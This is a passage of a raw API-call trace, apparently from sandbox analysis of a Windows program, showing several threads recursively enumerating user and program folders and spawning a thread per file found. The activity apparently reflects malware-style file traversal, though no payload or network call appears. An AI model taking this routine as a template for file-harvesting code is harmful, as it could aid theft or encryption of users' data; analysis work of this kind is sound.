ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft At Work.url", cAlternateFileName="MICROS~2.URL")) returned 1 [0066.077] wcscmp (_String1="Microsoft At Work.url", _String2=".") returned 1 [0066.077] wcscmp (_String1="Microsoft At Work.url", _String2="..") returned 1 [0066.077] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x416540 [0066.077] wcscpy (in: _Dest=0x416540, _Source="C:\\Users\\Default\\Favorites\\Microsoft Websites" | out: _Dest="C:\\Users\\Default\\Favorites\\Microsoft Websites") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites" [0066.077] wcscat (in: _Dest=0x416540, _Source="\\" | out: _Dest="C:\\Users\\Default\\Favorites\\Microsoft Websites\\") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites\\" [0066.077] wcscat (in: _Dest=0x416540, _Source="Microsoft At Work.url" | out: _Dest="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Work.url") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Work.url" [0066.077] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x416540, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1044 [0066.078] FindNextFileW (in: hFindFile=0x4409a0, lpFindFileData=0x42fa00 | out: lpFindFileData=0x42fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 1 [0066.078] wcscmp (_String1="Microsoft Store.url", _String2=".") returned 1 [0066.078] wcscmp (_String1="Microsoft Store.url", _String2="..") returned 1 [0066.078] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x84) returned 0x416a50 [0066.078] wcscpy (in: _Dest=0x416a50, _Source="C:\\Users\\Default\\Favorites\\Microsoft Websites" | out: _Dest="C:\\Users\\Default\\Favorites\\Microsoft Websites") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites" [0066.078] wcscat (in: _Dest=0x416a50, _Source="\\" | out: _Dest="C:\\Users\\Default\\Favorites\\Microsoft Websites\\") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites\\" [0066.078] wcscat (in: _Dest=0x416a50, _Source="Microsoft Store.url" | out: _Dest="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft Store.url") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft Store.url" [0066.078] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x416a50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1040 [0066.079] FindNextFileW (in: hFindFile=0x4409a0, lpFindFileData=0x42fa00 | out: lpFindFileData=0x42fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 0 [0066.079] FindClose (hFindFile=0x4409a0) Thread: id = 682 os_tid = 0x934 [0051.019] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x54) returned 0x44a550 [0051.019] wcscpy (in: _Dest=0x44a550, _Source="C:\\Users\\Default\\Favorites\\MSN Websites" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites") returned="C:\\Users\\Default\\Favorites\\MSN Websites" [0051.019] wcscat (in: _Dest=0x44a550, _Source="\\" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites\\") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\" [0051.019] wcscat (in: _Dest=0x44a550, _Source="*" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites\\*") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\*" [0051.019] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42fc68 [0051.019] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\*", lpFindFileData=0x42fc68 | out: lpFindFileData=0x42fc68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a2a8 [0051.709] wcscmp (_String1=".", _String2=".") returned 0 [0051.709] FindNextFileW (in: hFindFile=0x40a2a8, lpFindFileData=0x42fc68 | out: lpFindFileData=0x42fc68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.709] wcscmp (_String1="..", _String2=".") returned 1 [0051.709] wcscmp (_String1="..", _String2="..") returned 0 [0051.709] FindNextFileW (in: hFindFile=0x40a2a8, lpFindFileData=0x42fc68 | out: lpFindFileData=0x42fc68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Autos.url", cAlternateFileName="MSNAUT~1.URL")) returned 1 [0051.709] wcscmp (_String1="MSN Autos.url", _String2=".") returned 1 [0051.709] wcscmp (_String1="MSN Autos.url", _String2="..") returned 1 [0051.709] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6c) returned 0x437148 [0051.710] wcscpy (in: _Dest=0x437148, _Source="C:\\Users\\Default\\Favorites\\MSN Websites" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites") returned="C:\\Users\\Default\\Favorites\\MSN Websites" [0051.710] wcscat (in: _Dest=0x437148, _Source="\\" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites\\") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\" [0051.710] wcscat (in: _Dest=0x437148, _Source="MSN Autos.url" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Autos.url") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Autos.url" [0065.933] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x437148, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1714 [0065.934] FindNextFileW (in: hFindFile=0x40a2a8, lpFindFileData=0x42fc68 | out: lpFindFileData=0x42fc68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Entertainment.url", cAlternateFileName="MSNENT~1.URL")) returned 1 [0065.934] wcscmp (_String1="MSN Entertainment.url", _String2=".") returned 1 [0065.934] wcscmp (_String1="MSN Entertainment.url", _String2="..") returned 1 [0065.934] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x4467f8 [0065.934] wcscpy (in: _Dest=0x4467f8, _Source="C:\\Users\\Default\\Favorites\\MSN Websites" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites") returned="C:\\Users\\Default\\Favorites\\MSN Websites" [0065.934] wcscat (in: _Dest=0x4467f8, _Source="\\" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites\\") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\" [0065.934] wcscat (in: _Dest=0x4467f8, _Source="MSN Entertainment.url" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Entertainment.url") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Entertainment.url" [0065.934] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4467f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1718 [0065.936] FindNextFileW (in: hFindFile=0x40a2a8, lpFindFileData=0x42fc68 | out: lpFindFileData=0x42fc68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Money.url", cAlternateFileName="MSNMON~1.URL")) returned 1 [0065.936] wcscmp (_String1="MSN Money.url", _String2=".") returned 1 [0065.936] wcscmp (_String1="MSN Money.url", _String2="..") returned 1 [0065.936] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6c) returned 0x43a768 [0065.936] wcscpy (in: _Dest=0x43a768, _Source="C:\\Users\\Default\\Favorites\\MSN Websites" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites") returned="C:\\Users\\Default\\Favorites\\MSN Websites" [0065.936] wcscat (in: _Dest=0x43a768, _Source="\\" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites\\") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\" [0065.936] wcscat (in: _Dest=0x43a768, _Source="MSN Money.url" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Money.url") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Money.url" [0065.936] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43a768, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x171c [0065.937] FindNextFileW (in: hFindFile=0x40a2a8, lpFindFileData=0x42fc68 | out: lpFindFileData=0x42fc68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Sports.url", cAlternateFileName="MSNSPO~1.URL")) returned 1 [0065.937] wcscmp (_String1="MSN Sports.url", _String2=".") returned 1 [0065.937] wcscmp (_String1="MSN Sports.url", _String2="..") returned 1 [0065.937] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x43a858 [0065.937] wcscpy (in: _Dest=0x43a858, _Source="C:\\Users\\Default\\Favorites\\MSN Websites" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites") returned="C:\\Users\\Default\\Favorites\\MSN Websites" [0065.937] wcscat (in: _Dest=0x43a858, _Source="\\" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites\\") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\" [0065.937] wcscat (in: _Dest=0x43a858, _Source="MSN Sports.url" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Sports.url") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Sports.url" [0065.937] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43a858, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1720 [0065.938] FindNextFileW (in: hFindFile=0x40a2a8, lpFindFileData=0x42fc68 | out: lpFindFileData=0x42fc68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN.url", cAlternateFileName="")) returned 1 [0065.938] wcscmp (_String1="MSN.url", _String2=".") returned 1 [0065.938] wcscmp (_String1="MSN.url", _String2="..") returned 1 [0065.938] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x48d388 [0065.938] wcscpy (in: _Dest=0x48d388, _Source="C:\\Users\\Default\\Favorites\\MSN Websites" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites") returned="C:\\Users\\Default\\Favorites\\MSN Websites" [0065.938] wcscat (in: _Dest=0x48d388, _Source="\\" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites\\") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\" [0065.938] wcscat (in: _Dest=0x48d388, _Source="MSN.url" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN.url") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN.url" [0065.939] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x48d388, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1724 [0065.939] FindNextFileW (in: hFindFile=0x40a2a8, lpFindFileData=0x42fc68 | out: lpFindFileData=0x42fc68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 1 [0065.940] wcscmp (_String1="MSNBC News.url", _String2=".") returned 1 [0065.940] wcscmp (_String1="MSNBC News.url", _String2="..") returned 1 [0065.940] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x43a948 [0065.940] wcscpy (in: _Dest=0x43a948, _Source="C:\\Users\\Default\\Favorites\\MSN Websites" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites") returned="C:\\Users\\Default\\Favorites\\MSN Websites" [0065.940] wcscat (in: _Dest=0x43a948, _Source="\\" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites\\") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\" [0065.940] wcscat (in: _Dest=0x43a948, _Source="MSNBC News.url" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites\\MSNBC News.url") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\MSNBC News.url" [0065.940] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43a948, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1728 [0065.941] FindNextFileW (in: hFindFile=0x40a2a8, lpFindFileData=0x42fc68 | out: lpFindFileData=0x42fc68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 0 [0065.941] FindClose (hFindFile=0x40a2a8) Thread: id = 683 os_tid = 0xbc8 [0051.019] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x54) returned 0x44a5b0 [0051.019] wcscpy (in: _Dest=0x44a5b0, _Source="C:\\Users\\Default\\Favorites\\Windows Live" | out: _Dest="C:\\Users\\Default\\Favorites\\Windows Live") returned="C:\\Users\\Default\\Favorites\\Windows Live" [0051.019] wcscat (in: _Dest=0x44a5b0, _Source="\\" | out: _Dest="C:\\Users\\Default\\Favorites\\Windows Live\\") returned="C:\\Users\\Default\\Favorites\\Windows Live\\" [0051.019] wcscat (in: _Dest=0x44a5b0, _Source="*" | out: _Dest="C:\\Users\\Default\\Favorites\\Windows Live\\*") returned="C:\\Users\\Default\\Favorites\\Windows Live\\*" [0051.019] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x430ad8 [0051.019] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\*", lpFindFileData=0x430ad8 | out: lpFindFileData=0x430ad8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a268 [0051.708] wcscmp (_String1=".", _String2=".") returned 0 [0051.708] FindNextFileW (in: hFindFile=0x40a268, lpFindFileData=0x430ad8 | out: lpFindFileData=0x430ad8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.708] wcscmp (_String1="..", _String2=".") returned 1 [0051.708] wcscmp (_String1="..", _String2="..") returned 0 [0051.708] FindNextFileW (in: hFindFile=0x40a268, lpFindFileData=0x430ad8 | out: lpFindFileData=0x430ad8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Get Windows Live.url", cAlternateFileName="GETWIN~1.URL")) returned 1 [0051.709] wcscmp (_String1="Get Windows Live.url", _String2=".") returned 1 [0051.709] wcscmp (_String1="Get Windows Live.url", _String2="..") returned 1 [0051.709] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x96f8aa8 [0051.709] wcscpy (in: _Dest=0x96f8aa8, _Source="C:\\Users\\Default\\Favorites\\Windows Live" | out: _Dest="C:\\Users\\Default\\Favorites\\Windows Live") returned="C:\\Users\\Default\\Favorites\\Windows Live" [0051.709] wcscat (in: _Dest=0x96f8aa8, _Source="\\" | out: _Dest="C:\\Users\\Default\\Favorites\\Windows Live\\") returned="C:\\Users\\Default\\Favorites\\Windows Live\\" [0051.709] wcscat (in: _Dest=0x96f8aa8, _Source="Get Windows Live.url" | out: _Dest="C:\\Users\\Default\\Favorites\\Windows Live\\Get Windows Live.url") returned="C:\\Users\\Default\\Favorites\\Windows Live\\Get Windows Live.url" Thread: id = 684 os_tid = 0x8c4 [0051.020] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4c) returned 0x4144c0 [0051.020] wcscpy (in: _Dest=0x4144c0, _Source="C:\\ProgramData\\Microsoft\\DRM\\Server" | out: _Dest="C:\\ProgramData\\Microsoft\\DRM\\Server") returned="C:\\ProgramData\\Microsoft\\DRM\\Server" [0051.020] wcscat (in: _Dest=0x4144c0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\DRM\\Server\\") returned="C:\\ProgramData\\Microsoft\\DRM\\Server\\" [0051.020] wcscat (in: _Dest=0x4144c0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\DRM\\Server\\*") returned="C:\\ProgramData\\Microsoft\\DRM\\Server\\*" [0051.020] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42eb90 [0051.020] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\DRM\\Server\\*", lpFindFileData=0x42eb90 | out: lpFindFileData=0x42eb90*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xba6f6d7d, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440960 [0051.020] wcscmp (_String1=".", _String2=".") returned 0 [0051.020] FindNextFileW (in: hFindFile=0x440960, lpFindFileData=0x42eb90 | out: lpFindFileData=0x42eb90*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xba6f6d7d, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.020] wcscmp (_String1="..", _String2=".") returned 1 [0051.020] wcscmp (_String1="..", _String2="..") returned 0 [0051.020] FindNextFileW (in: hFindFile=0x440960, lpFindFileData=0x42eb90 | out: lpFindFileData=0x42eb90*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xba6f6d7d, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0051.020] FindClose (in: hFindFile=0x440960 | out: hFindFile=0x440960) returned 1 [0051.021] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42eb90) returned 1 [0051.021] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4144c0) returned 1 [0051.021] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445220) returned 1 Thread: id = 685 os_tid = 0x86c [0051.021] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x36) returned 0x440960 [0051.021] wcscpy (in: _Dest=0x440960, _Source="C:\\Users\\All Users\\Adobe" | out: _Dest="C:\\Users\\All Users\\Adobe") returned="C:\\Users\\All Users\\Adobe" [0051.021] wcscat (in: _Dest=0x440960, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Adobe\\") returned="C:\\Users\\All Users\\Adobe\\" [0051.022] wcscat (in: _Dest=0x440960, _Source="*" | out: _Dest="C:\\Users\\All Users\\Adobe\\*") returned="C:\\Users\\All Users\\Adobe\\*" [0051.022] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42eb90 [0051.022] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Adobe\\*", lpFindFileData=0x42eb90 | out: lpFindFileData=0x42eb90*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4404e0 [0051.022] wcscmp (_String1=".", _String2=".") returned 0 [0051.022] FindNextFileW (in: hFindFile=0x4404e0, lpFindFileData=0x42eb90 | out: lpFindFileData=0x42eb90*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.022] wcscmp (_String1="..", _String2=".") returned 1 [0051.022] wcscmp (_String1="..", _String2="..") returned 0 [0051.022] FindNextFileW (in: hFindFile=0x4404e0, lpFindFileData=0x42eb90 | out: lpFindFileData=0x42eb90*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0051.022] wcscmp (_String1="Acrobat", _String2=".") returned 1 [0051.022] wcscmp (_String1="Acrobat", _String2="..") returned 1 [0051.022] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x42) returned 0x445220 [0051.022] wcscpy (in: _Dest=0x445220, _Source="C:\\Users\\All Users\\Adobe" | out: _Dest="C:\\Users\\All Users\\Adobe") returned="C:\\Users\\All Users\\Adobe" [0051.022] wcscat (in: _Dest=0x445220, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Adobe\\") returned="C:\\Users\\All Users\\Adobe\\" [0051.022] wcscat (in: _Dest=0x445220, _Source="Acrobat" | out: _Dest="C:\\Users\\All Users\\Adobe\\Acrobat") returned="C:\\Users\\All Users\\Adobe\\Acrobat" [0065.664] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x445220, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf70 [0065.665] FindNextFileW (in: hFindFile=0x4404e0, lpFindFileData=0x42eb90 | out: lpFindFileData=0x42eb90*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARM", cAlternateFileName="")) returned 1 [0065.665] wcscmp (_String1="ARM", _String2=".") returned 1 [0065.665] wcscmp (_String1="ARM", _String2="..") returned 1 [0065.665] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3a) returned 0x44c168 [0065.665] wcscpy (in: _Dest=0x44c168, _Source="C:\\Users\\All Users\\Adobe" | out: _Dest="C:\\Users\\All Users\\Adobe") returned="C:\\Users\\All Users\\Adobe" [0065.665] wcscat (in: _Dest=0x44c168, 